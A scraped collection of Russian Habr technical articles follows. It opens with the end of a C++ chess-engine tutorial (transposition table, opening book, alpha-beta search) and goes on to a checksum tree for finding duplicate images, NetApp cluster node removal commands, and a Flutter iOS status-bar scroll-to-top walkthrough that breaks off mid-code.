case Pieces::Bishop: evaluation = evaluation + 1000 * StaticEvaluator::Material::Bishop; break;
case Pieces::Rook: evaluation = evaluation + 1000 * StaticEvaluator::Material::Rook; break;
case Pieces::Queen: evaluation = evaluation + 1000 * StaticEvaluator::Material::Queen; break;
// Короля нельзя съесть.
}
switch (move._attacker_type) {
case Pieces::Pawn: evaluation = evaluation - StaticEvaluator::Material::Pawn; break;
case Pieces::Knight: evaluation = evaluation - StaticEvaluator::Material::Knight; break;
case Pieces::Bishop: evaluation = evaluation - StaticEvaluator::Material::Bishop; break;
case Pieces::Rook: evaluation = evaluation - StaticEvaluator::Material::Rook; break;
case Pieces::Queen: evaluation = evaluation - StaticEvaluator::Material::Queen; break;
// Если съедает король, то ничего не вычитаем, ведь короля нельзя съесть, следовательно, никакого ответного взятия, вероятно, не будет.
}
}
return evaluation;
}
```
Теперь перед началом альфа-бета поиска нужно отсортировать ходы, что даст прибавку к скорости.
Хеш таблица
-----------
Помните начало статьи? Там был разговор про Zobrist хеширование. Тогда я упомянул, что оно нам пригодится для троекратного повторения позиции и еще кое-чего. Так вот: это кое-чего как раз хеш таблица.
Идея в том, что дерево игры - не совсем дерево, а, скорее, граф. Многие позиции постоянно повторяются и считать их каждый раз по-новому довольно не разумно. Вместо этого стоит пробовать использовать результаты предыдущих поисков.
Создадим структуру записи:
```
#include "../Base/PositionRepresentation/ZobristHash.hpp"
#pragma once
struct Entry {
Entry();
Entry(ZobristHash hash, int32_t depth, uint8_t best_move_index);
friend bool operator <(Entry left, Entry right);
ZobristHash _hash;
int32_t _depth;
uint8_t _best_move_index;
};
```
Оператор меньше показывает меньше ли хеш:
```
bool operator <(Entry left, Entry right) {
return (left._hash < right._hash);
}
```
Эта структура содержит сам хеш (для возможности сравнивать текущую позицию с позицией из записи), глубину поиска на которой получен результат (чтобы оставлять в таблице только наиболее просчитанные результаты) и индекс лучшего хода.
При поиске мы будем добавлять в некоторое хранилище такие записи, а перед началом поиска искать запись с совпадающим хешом и пробовать ход по лучшему индексу в надежде, что он вызовет отсечку дерева.
Но в каком хранилище мы будем хранить эти записи? Я предлагаю в множестве, то есть в std::set. Множество - список, но не простой, ведь при вставке он бинарным поиском вставляет в список элемент так, чтобы сохранялась сортировка, что позволяет находить там элементы тоже за логарифм благодаря тому же бинарному поиску.
Вот так выглядит полный код хеш таблицы:
```
#include
#include "Entry.hpp"
#pragma one
class TranspositionTable {
public:
TranspositionTable();
void add\_entry(Entry entry);
uint8\_t try\_to\_find\_best\_move\_index(ZobristHash hash);
private:
std::set \_set;
};
```
```
#include "TranspositionTable.hpp"
TranspositionTable::TranspositionTable() = default;
void TranspositionTable::add_entry(Entry entry) {
auto hash_copy = this->_set.find(entry);
if (hash_copy == this->_set.end() or hash_copy->_depth < entry._depth) this->_set.insert(entry);
}
uint8_t TranspositionTable::try_to_find_best_move_index(ZobristHash hash) {
auto entry = this->_set.find({hash, 0, 0});
if (entry == this->_set.end()) return 255;
return entry->_best_move_index;
}
```
Итеративное углубление
----------------------
Цель итеративного углубления позволить контролировать время выполнения альфа-бета отсечения. Проблема в том, что мы не можем просто так прервать поиск, так как его результат будет бессмысленным в этом случае.
Вместо этого мы сначала выполняем поиск на глубину 1, потом на глубину 2, потом на глубину 3 и т.д. Благодаря этому поиск всегда можно прервать и вернуть результат предыдущего. Это звучит не эффективно, так как результат каждого нового поиска переделывает все предыдущие, но при использования хеш таблицы он может быть выполнен еще быстрее, чем обычный поиск из-за большого числа отсечений.
База дебютов
------------
Если взять все что было сверху и написать это, то получится довольно хороший алгоритм за исключением одной детали. Он будет абсолютно детерминированным и все партии будут 1 в 1. Играть против такого противника довольно скучно, поэтому стоит добавить базу дебютов из которой будут выбираться случайные ходы.
В качестве базы дебютов я буду использовать первые 6 ходов (или 12 полуходов) из заранее скаченных тысяч игр гроссмейстеров. Вот первые несколько строк из базы:
```
e2e4 e7e5 g1f3 b8c6 f1c4 f8c5 c2c3 g8f6 d2d3 d7d6 b2b4 c5b6
d2d4 g8f6 c2c4 g7g6 f2f3 d7d5 c4d5 f6d5 e2e4 d5b6 b1c3 f8g7
c2c4 e7e6 b1c3 d7d5 d2d4 g8f6 c4d5 e6d5 c1g5 c7c6 d1c2 f8e7
e2e4 e7e6 d2d4 d7d5 b1d2 c7c5 g1f3 c5d4 f3d4 g8f6 e4d5 d8d5
e2e4 e7e5 g1f3 b8c6 f1b5 g8f6 d2d3 f8c5 b5c6 d7c6 b1d2 e8g8
c2c4 e7e5 b1c3 g8f6 g1f3 b8c6 g2g3 f8b4 c3d5 b4c5 f1g2 d7d6
d2d4 g8f6 c2c4 e7e6 g1f3 d7d5 b1c3 c7c5 c4d5 f6d5 e2e4 d5c3
d2d4 g8f6 c2c4 g7g6 f2f3 d7d6 e2e4 f8g7 g1e2 e8g8 c1e3 c7c5
e2e4 e7e5 g1f3 b8c6 f1b5 a7a6 b5a4 g8f6 e1g1 f8e7 d2d3 d7d6
d2d4 g8f6 c2c4 e7e6 b1c3 f8b4 d1c2 e8g8 c1g5 c7c5 d4c5 d8a5
e2e4 g7g6 d2d4 f8g7 b1c3 d7d6 c1e3 a7a6 a2a4 g8f6 h2h3 e8g8
e2e4 e7e5 g1f3 b8c6 f1b5 g8f6 e1g1 f6e4 d2d4 e4d6 b5c6 d7c6
c2c4 c7c5 g2g3 b8c6 f1g2 g7g6 g1f3 f8g7 e1g1 d7d6 b1c3 f7f5
d2d4 d7d5 c2c4 c7c6 g1f3 g8f6 d1b3 d5c4 b3c4 c8g4 b1d2 e7e6
```
При инициализации базы ходы будут загружаться в вектор, причем эти ходы будут трансформироваться в нашу специальную структуру хода, а также проверяться на легальность (вдруг в базе ошибка). При поиске будет искаться ответ. Вот полный код:
```
#include
#include
#include
#include "../Base/MoveGeneration/LegalMoveGen.hpp"
#pragma once
class OpeningBook {
public:
OpeningBook();
OpeningBook(const std::string& path);
std::tuple try\_to\_find\_move(const Position& position);
private:
std::vector> \_moves;
};
```
```
#include "OpeningBook.hpp"
OpeningBook::OpeningBook() = default;
OpeningBook::OpeningBook(const std::string& path) {
std::ifstream file(path);
if (!file.is_open()) {
std::cout << ANSI::Red << "Could not find the opening book." << ANSI::End << std::endl;
std::exit(255);
}
std::string game;
std::stringstream game_thread;
std::string string_move;
uint8_t from;
uint8_t to;
MoveList possible_moves;
bool move_found;
Position buff;
while (std::getline(file, game)) {
game_thread = std::stringstream(game);
this->_moves.resize(this->_moves.size() + 1);
buff = {"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR", 255, true, true, true, true, 1};
while (game_thread >> string_move and game_thread.good()) {
from = (string_move[1] - '1') * 8 + string_move[0] - 'a';
to = (string_move[3] - '1') * 8 + string_move[2] - 'a';
possible_moves = LegalMoveGen::generate(buff, buff._move_ctr - std::floor(buff._move_ctr) > 1e-7);
move_found = false;
for (uint8_t i = 0; i < possible_moves.size(); i = i + 1) {
if (possible_moves[i]._from == from and possible_moves[i]._to == to) {
this->_moves.back().push_back(possible_moves[i]);
buff.move(possible_moves[i]);
move_found = true;
break;
}
}
if (!move_found) {
std::cout << ANSI::Red << "Error in the opening book." << ANSI::End << std::endl;
std::exit(255);
}
}
}
file.close();
}
std::tuple OpeningBook::try\_to\_find\_move(const Position& position) {
Position buff;
std::vector possible\_moves;
bool move\_exist;
for (int32\_t game = 0; game < this->\_moves.size(); game = game + 1) {
buff = {"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR", 255, true, true, true, true, 1};
if (buff.\_pieces == position.\_pieces) {
move\_exist = false;
for (auto added\_move : possible\_moves) {
if (added\_move == this->\_moves[game][0]) {
move\_exist = true;
break;
}
}
if (!move\_exist) possible\_moves.push\_back(this->\_moves[game][0]);
continue;
}
for (int32\_t move = 0; move < this->\_moves[game].size() - 1; move = move + 1) {
buff.move(this->\_moves[game][move]);
if (buff.\_pieces == position.\_pieces) {
move\_exist = false;
for (auto added\_move : possible\_moves) {
if (added\_move == this->\_moves[game][move + 1]) {
move\_exist = true;
break;
}
}
if (!move\_exist) possible\_moves.push\_back(this->\_moves[game][move + 1]);
}
}
}
if (possible\_moves.empty()) {
return std::make\_tuple(Move(), 0);
}
return std::make\_tuple(possible\_moves[time(nullptr) % possible\_moves.size()], possible\_moves.size());
}
```
ИИ. Финал
---------
Настало время написать итоговый класс. Комментировать его не вижу смысла, так как он делает все то же самое о чем я говорил последнее время. Вот код:
```
#include
#include
#include
#include
#include "../Base/MoveGeneration/LegalMoveGen.hpp"
#include "MoveSorter.hpp"
#include "TranspositionTable.hpp"
#include "OpeningBook.hpp"
#pragma once
class AI {
public:
AI();
AI(const std::string& opening\_book\_path);
Move best\_move(const Position& position, uint8\_t side, int32\_t min\_ms, int32\_t max\_ms);
private:
OpeningBook \_opening\_book;
static std::tuple \_best\_move(const Position& position, uint8\_t side, int32\_t depth, TranspositionTable &tt);
static std::tuple \_alpha\_beta\_min(Position position, int32\_t alpha, int32\_t beta, int32\_t depth\_left, int32\_t depth\_current, TranspositionTable &tt);
static std::tuple \_alpha\_beta\_max(Position position, int32\_t alpha, int32\_t beta, int32\_t depth\_left, int32\_t depth\_current, TranspositionTable &tt);
static int32\_t \_alpha\_beta\_min\_only\_captures(const Position& position, int32\_t alpha, int32\_t beta, int32\_t depth\_current);
static int32\_t \_alpha\_beta\_max\_only\_captures(const Position& position, int32\_t alpha, int32\_t beta, int32\_t depth\_current);
struct Infinity {
static constexpr int32\_t Negative = -1e+9;
static constexpr int32\_t Positive = 1e+9;
};
};
```
```
#include "AI.hpp"
#define nsecs std::chrono::high_resolution_clock::now().time_since_epoch().count()
static std::atomic stop\_search;
static int64\_t evaluated;
static int32\_t maximal\_depth;
static int32\_t tt\_cutoffs;
AI::AI() = default;
AI::AI(const std::string& opening\_book\_path) {
this->\_opening\_book = {opening\_book\_path};
}
Move AI::best\_move(const Position& position, uint8\_t side, int32\_t min\_ms, int32\_t max\_ms) {
std::cout << std::endl;
StaticEvaluator::evaluate(position.\_pieces, position.\_w\_l\_castling, position.\_w\_s\_castling, position.\_b\_l\_castling, position.\_b\_s\_castling, position.\_white\_castling\_happened, position.\_black\_castling\_happened, true);
int64\_t time\_start = nsecs;
stop\_search = false;
TranspositionTable tt;
std::tuple opening\_book\_result = this->\_opening\_book.try\_to\_find\_move(position);
std::cout << ANSI::Green << "Number of available moves in the opening book: " << std::get<1>(opening\_book\_result) << "." << ANSI::End << std::endl;
if (std::get<1>(opening\_book\_result)) {
usleep(std::max((int64\_t)0, (min\_ms - (nsecs - time\_start) / (int64\_t)1e+6) \* (int64\_t)1e+3));
return std::get<0>(opening\_book\_result);
}
std::cout << ANSI::Green << "Search started." << std::endl;
int32\_t best\_move\_evaluation;
Move best\_move;
std::future> best\_move\_thread;
bool update\_best\_move;
for (int32\_t i = 1; i < 1e+3; i = i + 1) {
evaluated = 0;
maximal\_depth = 0;
tt\_cutoffs = 0;
best\_move\_thread = std::async(AI::\_best\_move, position, side, i, std::ref(tt));
update\_best\_move = true;
while (best\_move\_thread.wait\_for(std::chrono::seconds(0)) != std::future\_status::ready) {
if ((nsecs - time\_start) / (int32\_t)1e+6 >= max\_ms) {
update\_best\_move = false;
break;
}
usleep(20000);
}
if (update\_best\_move or i == 1) std::tie(best\_move\_evaluation, best\_move) = best\_move\_thread.get();
else {
stop\_search = true;
break;
}
std::cout << "Base depth: " << std::setw(4) << i << ". Maximal depth: " << std::setw(4) << maximal\_depth << ". Evaluation: " << std::setw(6) << (float)best\_move\_evaluation / 100.0f << " pawns. Evaluated (this iteration): " << std::setw(10) << evaluated << ". TT cutoffs (this iteration): " << std::setw(10) << tt\_cutoffs << ". Time (full search): " << std::setw(10) << (nsecs - time\_start) / (int32\_t)1e+6 << " ms." << std::endl;
if (best\_move\_evaluation > AI::Infinity::Positive - 2000 or best\_move\_evaluation < AI::Infinity::Negative + 2000) break;
}
usleep(std::max((int64\_t)0, (min\_ms - (nsecs - time\_start) / (int64\_t)1e+6) \* (int64\_t)1e+3));
std::cout << "Search finished." << std::endl << ANSI::End;
return best\_move;
}
std::tuple AI::\_best\_move(const Position& position, uint8\_t side, int32\_t depth, TranspositionTable &tt) {
if (side == Pieces::White) return AI::\_alpha\_beta\_max(position, AI::Infinity::Negative, AI::Infinity::Positive, depth, 0, tt);
return AI::\_alpha\_beta\_min(position, AI::Infinity::Negative, AI::Infinity::Positive, depth, 0, tt);
}
std::tuple AI::\_alpha\_beta\_min(Position position, int32\_t alpha, int32\_t beta, int32\_t depth\_left, int32\_t depth\_current, TranspositionTable &tt) {
if (stop\_search) return std::make\_tuple(0, Move());
if (depth\_current > maximal\_depth) maximal\_depth = depth\_current;
if (depth\_left == 0) return std::make\_tuple(AI::\_alpha\_beta\_min\_only\_captures(position, alpha, beta, depth\_current), Move());
if (position.\_fifty\_moves\_ctr >= 50 or position.\_repetition\_history.get\_repetition\_number(position.\_hash) >= 3) return std::make\_tuple(0, Move());
MoveList moves = LegalMoveGen::generate(position, Pieces::Black);
moves = MoveSorter::sort(position.\_pieces, moves);
Move move;
Move best\_move;
uint8\_t best\_move\_index;
bool in\_check = PsLegalMoveMaskGen::in\_danger(position.\_pieces, BitboardOperations::bsf(position.\_pieces.\_piece\_bitboards[Pieces::Black][Pieces::King]), Pieces::Black);
if (moves.size() == 0) {
if (in\_check) return std::make\_tuple(AI::Infinity::Positive - depth\_current, Move());
return std::make\_tuple(0, Move());
}
int32\_t evaluation;
Position copy;
uint8\_t tt\_result = tt.try\_to\_find\_best\_move\_index(position.\_hash);
for (uint8\_t i = 0; i < moves.size(); i = i + 1) {
if (tt\_result >= moves.size()) move = moves[i];
else {
if (i == 0) move = moves[tt\_result];
else {
if (i == tt\_result) move = moves[0];
else move = moves[i];
}
}
copy = position;
copy.move(move);
evaluation = std::get<0>(AI::\_alpha\_beta\_max(copy, alpha, beta, depth\_left - !in\_check, depth\_current + 1, tt));
if (evaluation <= alpha) {
if (tt\_result >= moves.size() or i != 0) tt.add\_entry({position.\_hash, depth\_left, best\_move\_index});
else tt\_cutoffs = tt\_cutoffs + 1;
return std::make\_tuple(alpha, best\_move);
}
if (evaluation < beta) {
best\_move = move;
best\_move\_index = i;
beta = evaluation;
}
}
tt.add\_entry({position.\_hash, depth\_left, best\_move\_index});
return std::make\_tuple(beta, best\_move);
}
std::tuple AI::\_alpha\_beta\_max(Position position, int32\_t alpha, int32\_t beta, int32\_t depth\_left, int32\_t depth\_current, TranspositionTable &tt) {
if (stop\_search) return std::make\_tuple(0, Move());
if (depth\_current > maximal\_depth) maximal\_depth = depth\_current;
if (depth\_left == 0) return std::make\_tuple(AI::\_alpha\_beta\_max\_only\_captures(position, alpha, beta, depth\_current), Move());
if (position.\_fifty\_moves\_ctr >= 50 or position.\_repetition\_history.get\_repetition\_number(position.\_hash) >= 3) return std::make\_tuple(0, Move());
MoveList moves = LegalMoveGen::generate(position, Pieces::White);
moves = MoveSorter::sort(position.\_pieces, moves);
Move move;
Move best\_move;
uint8\_t best\_move\_index;
bool in\_check = PsLegalMoveMaskGen::in\_danger(position.\_pieces, BitboardOperations::bsf(position.\_pieces.\_piece\_bitboards[Pieces::White][Pieces::King]), Pieces::White);
if (moves.size() == 0) {
if (in\_check) return std::make\_tuple(AI::Infinity::Negative + depth\_current, Move());
return std::make\_tuple(0, Move());
}
int32\_t evaluation;
Position copy;
uint8\_t tt\_result = tt.try\_to\_find\_best\_move\_index(position.\_hash);
for (uint8\_t i = 0; i < moves.size(); i = i + 1) {
if (tt\_result >= moves.size()) move = moves[i];
else {
if (i == 0) move = moves[tt\_result];
else {
if (i == tt\_result) move = moves[0];
else move = moves[i];
}
}
copy = position;
copy.move(move);
evaluation = std::get<0>(AI::\_alpha\_beta\_min(copy, alpha, beta, depth\_left - !in\_check, depth\_current + 1, tt));
if (evaluation >= beta) {
if (tt\_result >= moves.size() or i != 0) tt.add\_entry({position.\_hash, depth\_left, best\_move\_index});
else tt\_cutoffs = tt\_cutoffs + 1;
return std::make\_tuple(beta, best\_move);
}
if (evaluation > alpha) {
best\_move = move;
best\_move\_index = i;
alpha = evaluation;
}
}
tt.add\_entry({position.\_hash, depth\_left, best\_move\_index});
return std::make\_tuple(alpha, best\_move);
}
int32\_t AI::\_alpha\_beta\_min\_only\_captures(const Position& position, int32\_t alpha, int32\_t beta, int32\_t depth\_current) {
if (stop\_search) return 0;
if (depth\_current > maximal\_depth) maximal\_depth = depth\_current;
int32\_t evaluation = StaticEvaluator::evaluate(position.\_pieces, position.\_w\_l\_castling, position.\_w\_s\_castling, position.\_b\_l\_castling, position.\_b\_s\_castling, position.\_white\_castling\_happened, position.\_black\_castling\_happened);
evaluated = evaluated + 1;
if (evaluation <= alpha) return alpha;
if (evaluation < beta) beta = evaluation;
MoveList moves = LegalMoveGen::generate(position, Pieces::Black, true);
moves = MoveSorter::sort(position.\_pieces, moves);
Move move;
Position copy;
for (uint8\_t i = 0; i < moves.size(); i = i + 1) {
move = moves[i];
copy = position;
copy.move(move);
evaluation = AI::\_alpha\_beta\_max\_only\_captures(copy, alpha, beta, depth\_current + 1);
if (evaluation <= alpha) return alpha;
if (evaluation < beta) beta = evaluation;
}
return beta;
}
int32\_t AI::\_alpha\_beta\_max\_only\_captures(const Position& position, int32\_t alpha, int32\_t beta, int32\_t depth\_current) {
if (stop\_search) return 0;
if (depth\_current > maximal\_depth) maximal\_depth = depth\_current;
int32\_t evaluation = StaticEvaluator::evaluate(position.\_pieces, position.\_w\_l\_castling, position.\_w\_s\_castling, position.\_b\_l\_castling, position.\_b\_s\_castling, position.\_white\_castling\_happened, position.\_black\_castling\_happened);
evaluated = evaluated + 1;
if (evaluation >= beta) return beta;
if (evaluation > alpha) alpha = evaluation;
MoveList moves = LegalMoveGen::generate(position, Pieces::White, true);
moves = MoveSorter::sort(position.\_pieces, moves);
Move move;
Position copy;
for (uint8\_t i = 0; i < moves.size(); i = i + 1) {
move = moves[i];
copy = position;
copy.move(move);
evaluation = AI::\_alpha\_beta\_min\_only\_captures(copy, alpha, beta, depth\_current + 1);
if (evaluation >= beta) return beta;
if (evaluation > alpha) alpha = evaluation;
}
return alpha;
}
```
Итог
----
Я написал небольшой интерфейс на SDL2 для этого движка. Для счастливых пользователей deb дистрибутивов Linux я подготовил deb пакет. Тем не менее, SDL2 полностью кроссплатформенный, так что никаких проблем с компилированием под Windows или MacOS быть не должно.
Играет довольно неплохо, меня с треском обыгрывает. На одном очень популярном шахматном сайте (подсказка: он заблокирован в РФ) я нашел ботов и уровень их игры измеренный в Эло. Сыграв с ними при помощи своего движка, я примерно вычислил количество Эло этого движка, получилось около 2000, по крайней мере в рамках этой платформы.
Спасибо за чтение. Код и deb пакет есть [тут](https://github.com/gth-other/Natrix).
**upd.** Если будете компилировать сами, то крайне желательно включить оптимизацию (в gcc -O3), а также link-time оптимизацию, дабы компилятор мог заинлайнить код многих легких функций (в gcc -flto). | https://habr.com/ru/post/682122/ | null | ru | null |
# Быстрый поиск совпадений объектов по их контрольным суммам на примере поиска дублирующихся изображений
Исходные данные:
* набор объектов обладающих аттрибутами
* возможность приблизительно точно идентифицировать объект сопоставив ему контрольную сумму.
Конечная цель:
* получить списки объектов по которым легко выявить совпадения.
Идея алгоритма заключается в создании [суффиксного дерева](http://cs.mipt.ru/wiki/index.php/Суффиксное_дерево) каждый узел которого хранит в себе один байт контрольной суммы. При получении контрольной суммы очередного объекта мы начинаем движение с корня дерева вглубь, если мы не находим узел для следующего байта в последовательности, то создаем его. Достигнув окончания контрольной суммы и создав конечный узел запишем в него параметры объекта. В итоге мы получим список конечных узлов, если в конечном узле лежит описание более одного объекта мы предполагаем что эти объекты идентичны.
Привожу общий вид исходного текста для лучшего понимания, который можно использовать в качестве шаблона для реальных задач.
> `using System;
>
> using System.Collections.Generic;
>
> ///
>
> /// Объект с аттрибутами
>
> ///
>
> public class HashObject
>
> {
>
> public string attribute1 { get; set; }
>
> public string attribute2 { get; set; }
>
> }
>
> ///
>
> /// Узел дерева, хранит один байт контрольной суммы
>
> /// и список объектов имеющих контрольную сумму которая
>
> /// представляет собой путь к данному узлу
>
> ///
>
> public class HashTreeNode
>
> {
>
> ///
>
> /// Собственное значение узла
>
> ///
>
> private byte myPart;
>
> public byte MyPart
>
> {
>
> get { return myPart; }
>
> }
>
> public HashTreeNode(byte part)
>
> {
>
> myPart = part;
>
> }
>
> ///
>
> /// Если узел является конечным, он указывает на объекты имеющие заданную контрольную сумму
>
> ///
>
> public List files = null;
>
> ///
>
> /// Следующие узлы
>
> ///
>
> private List NextNodes = new List();
>
> ///
>
> /// Поиск конечного узла для указанной контрольной суммы
>
> ///
>
> public HashTreeNode FindEndNode(byte[] crc, int position)
>
> {
>
> HashTreeNode endNode = FindSubNodes(crc[position]);
>
> if (position < crc.Length - 1)
>
> return endNode.FindEndNode(crc, position + 1);
>
> else return endNode;
>
> }
>
> ///
>
> /// Поиск/создание подузла для текущей части контрольной суммы
>
> ///
>
> private HashTreeNode FindSubNodes(byte part)
>
> {
>
> lock (NextNodes)
>
> {
>
> for (int i = 0; i < NextNodes.Count; i++)
>
> if (NextNodes[i].MyPart.Equals(part))
>
> return NextNodes[i];
>
> NextNodes.Add(new HashTreeNode(part));
>
> return NextNodes[NextNodes.Count - 1];
>
> }
>
> }
>
> }
>
> ///
>
> /// Дерево, содержит корневые узлы
>
> ///
>
> public class HashTree
>
> {
>
> ///
>
> /// Корневые узлы дерева
>
> ///
>
> List Nodes = new List();
>
> ///
>
> /// Поиск по дереву узла имеющего указанную контрольную сумму
>
> /// если такого узла нет, он будет создан
>
> ///
>
> /// Crc32 файла
>
> ///
>
> public HashTreeNode CheckOnTree(byte[] crc)
>
> {
>
> HashTreeNode root = FindNode(crc[0]);
>
> return root.FindEndNode(crc, 1);
>
> }
>
> ///
>
> /// Поиск или создание корневого узла для переданной контрольной суммы
>
> ///
>
> private HashTreeNode FindNode(byte part)
>
> {
>
> lock (Nodes)
>
> {
>
> for (int i = 0; i < Nodes.Count; i++)
>
> if (Nodes[i].MyPart.Equals(part))
>
> return Nodes[i];
>
> Nodes.Add(new HashTreeNode(part));
>
> return Nodes[Nodes.Count - 1];
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В качестве примера реализовано простейшее приложения для поиска дублирующихся изображений в указанном каталоге. В качестве результата работы получим html файл отчета.
Проект выполнен в Microsoft Visual Studio 2008, и скомпилирован под Windows x86.
Проект протестирован на собственной папке с фотографиями, результат теста:
Файлов в каталоге: 4326
Из них фотографий: 4131
Вес изображений: 8,33 Гб
Время поиска дубликатов: 117 секунд (2 минуты) + 6 секунд на формирование отчета и копирование файлов дубликатов в папку отчета.
Найдено: 90 дубликатов.
Ссылка на приложение и исходники:
[ifolder.ru/19211139](http://ifolder.ru/19211139)
Если кому интересно, проверка файлов на принадлежность к изображениям производится не по расширению, в по сигнатуре, исследуя заголовок файла. Signatures.cs — класс в проекте.
Плюсы:
* относительно высокая скорость работы
* простота реализации и хранения данных
Минусы:
* вся структура данных хранится в оперативной памяти. Если количество картинок будет измеряться сотнями тысяч или миллионами потребуется переосмысление способа хранения дерева. Или поиск другого алгоритма.
Буду благодарен тем минусующим пост, которые дадут ссылки на более лучшие известные им алгоритмы или укажут на недостатки описанного. | https://habr.com/ru/post/103638/ | null | ru | null |
# Вывод систем хранения данных NetApp из кластера
Добавление в кластер системы хранения NetApp FAS происходит очень просто:
Подключаются порты кластерного интерконнекта в свич и выполняется команда:
```
cluster setup
```
А как вывести ноду из кластера?
#### [Вывод нод из кластера](#Cluster_Unjoin)
Вывести ноду из кластера может понадобится в самых разнообразных случаях. Иллюстрацией тому может быть, если у вас есть кластер состоящий к примеру из систем FAS8020 и FAS2240/255x и вы хотите конвертировать вторую в полку, чтобы подключить её к 8020.
Для этого необходимо[:](http://community.netapp.com/t5/Data-ONTAP-Discussions/Unjoin-Node-from-a-Cluster/td-p/9613)
* Удалить или мигрировать вольюмы из агрегатов находящихся на отключаемых нодах, включая системные вольюмы MDV
* Удалите или мигрируйте LIF'ы с нод которые будут отключены. SAN LIF'ы можно не мигрировать (ведь у вас скорее всего настроен мультипасинг) или могут быть мигрированы в offline режиме
* Измените home порты на LIF'ах, если они указывают на порты отключаемой ноды
* Удалите порты отключаемых нод из вручную содзанных failover-groups
* Удалите порты отключаемых нод из вручную созданных broadcast-domain'ов
* Просто удалите порты отключаемых нод из portset'ов или создайте новые portset'ы, замените в igroup'ах старные на новые, после удалите старые
* Выключите High Availability для группы в которой находится отключаемая нода, обязательно удалите обе ноды HA системы (по очереди)
* Если на агрегатах на отключаемых нодах расположены системные вольюмы для аудит логов, выключите CIFS аудит
* При необходимости, из advanced режима перместите epsilon на ноду которая не будет удаляться
```
cluster1::> vserver audit delete -vserver vsm01
cluster1::> storage failover modify -node clA-01 -enabled false
cluster1::> storage failover modify -node clA-02 -enabled false
cluster1::*> set -privilege advanced
cluster1::*> cluster show
cluster1::*> cluster modify -node clA-02 -epsilon false
cluster1::*> cluster modify -node clA-04 -epsilon true
cluster1::*> cluster unjoin -node clA-02
```
После чего вы увидите следующее сообщение:
```
cluster1::*> cluster unjoin -node clA-02
Warning: This command will unjoin node "clA-02" from the cluster. You
must unjoin the failover partner as well. After the node is
successfully unjoined, erase its configuration and initialize all
disks by using the "Clean configuration and initialize all disks (4)"
option from the boot menu.
Do you want to continue? {y|n}: y
[Job 32] Cleaning cluster database[Job 32] Job succeeded: Cluster unjoin succeeded
```
**Замечания по ошибкам и предложения правок в тексте прошу направлять в ЛС.** | https://habr.com/ru/post/265855/ | null | ru | null |
# Тап в статус бар. Делаем простое сложно c помощью Flutter
Привет!
Я работаю над приложением для изучения английского языка [Memo](https://links.appmemo.ru/habr).
Недавно мы выложили первую версию в сторы и тут же получили отзыв от одного из активных пользователей:
Привет, Максим!Тут я вспомнил про аналогичную проблему у приложения Meduza (иностранный агент):
Я пользуюсь Android телефоном и даже не думал, что это может быть настолько востребовано. Открыв iOS версию приложения, я увидел, что действительно тап в статус бар не приводит ни к какой реакции.
О чем речь? В iOS есть такая фича - [scrolls to top](https://developer.apple.com/documentation/uikit/uiscrollview/1619421-scrollstotop). Вот, как нам ее описывает документация:
> The scroll-to-top gesture is a tap on the status bar. When a user makes this gesture, the system asks the scroll view closest to the status bar to scroll to the top
>
>
### Перейдем коду
Посмотрим, может ли Flutter предоставить нам такую функциональность из коробки? Сделаем простой семпл с единственным экраном со списком:
```
import 'package:example/home_page.dart';
import 'package:flutter/material.dart';
void main() {
runApp(const MyApp());
}
class MyApp extends StatelessWidget {
const MyApp({Key? key}) : super(key: key);
@override
Widget build(BuildContext context) {
return const MaterialApp(title: 'Scroll to top', home: HomePage());
}
}
```
```
import 'package:flutter/material.dart';
class HomePage extends StatefulWidget {
const HomePage({Key? key}) : super(key: key);
@override
State createState() => \_HomePageState();
}
class \_HomePageState extends State {
@override
Widget build(BuildContext context) {
return Scaffold(
body: \_list(),
appBar: AppBar(title: const Text('Scroll to top')),
);
}
Widget \_list() {
return ListView.builder(itemBuilder: \_itemBuilder, itemCount: 100);
}
Widget \_itemBuilder(BuildContext context, int index) {
return Container(
decoration: BoxDecoration(
border: Border.all(color: Colors.blue),
),
padding: const EdgeInsets.all(20),
child: Text('$index', style: const TextStyle(fontSize: 20)),
);
}
}
```
Попробуем проскролить список и кликнуть в статус бар (заставить эмулятор показывать место тапа, [неочевидная](https://medium.com/@ant_one/show-touch-highlights-on-ios-simulator-37c7cc081a2a) задача)
Круто, фича работает из коробки. Можем расходиться?
В реальных проектах нам иногда нужно иметь свой `ScrollController` для подскролов к элементам списка. Давайте попробуем добавить простой контроллер:
```
import 'package:flutter/material.dart';
class HomePage extends StatefulWidget {
const HomePage({Key? key}) : super(key: key);
@override
State createState() => \_HomePageState();
}
class \_HomePageState extends State {
late ScrollController \_scrollController;
@override
void initState() {
super.initState();
\_scrollController = ScrollController();
}
@override
void dispose() {
\_scrollController.dispose();
super.dispose();
}
@override
Widget build(BuildContext context) {
return Scaffold(
body: \_list(),
appBar: AppBar(title: const Text('Scroll to top')),
);
}
Widget \_list() {
return ListView.builder(
itemBuilder: \_itemBuilder,
itemCount: 100,
controller: \_scrollController,
);
}
Widget \_itemBuilder(BuildContext context, int index) {
return Container(
decoration: BoxDecoration(
border: Border.all(color: Colors.blue),
),
padding: const EdgeInsets.all(20),
child: Text('$index', style: const TextStyle(fontSize: 20)),
);
}
}
```
В этом случае тап в статус бар перестает скролить список. Давайте разбираться. За счет чего вообще скроллится список? Я поискал по исходникам Flutter и нашел вот такой код из класса [Scaffold](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/material/scaffold.dart):
```
// iOS FEATURES - status bar tap, back gesture
// On iOS, tapping the status bar scrolls the app's primary scrollable to the
// top. We implement this by looking up the primary scroll controller and
// scrolling it to the top when tapped.
void _handleStatusBarTap() {
final ScrollController? _primaryScrollController = PrimaryScrollController.of(context);
if (_primaryScrollController != null && _primaryScrollController.hasClients) {
_primaryScrollController.animateTo(
0.0,
duration: const Duration(milliseconds: 300),
curve: Curves.linear, // TODO(ianh): Use a more appropriate curve.
);
}
}
```
Есть определенный обработчик жестов, который в конце своей работы вызывает метод`_handleStatusBarTap` (обожаю [TODO](https://github.com/flutter/flutter/blame/db930ba32f320cb0ca53595a2df0e4a9fe15101d/packages/flutter/lib/src/material/scaffold.dart#L2957), которые висят в релизном коде по 4 года <3).
Итак, Flutter пытается найти ближайший к текущему контексту `PrimaryScrollController` и начать его скролить. Что такое [PrimaryScrollController](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/primary_scroll_controller.dart) ?
```
/// Associates a [ScrollController] with a subtree.
///
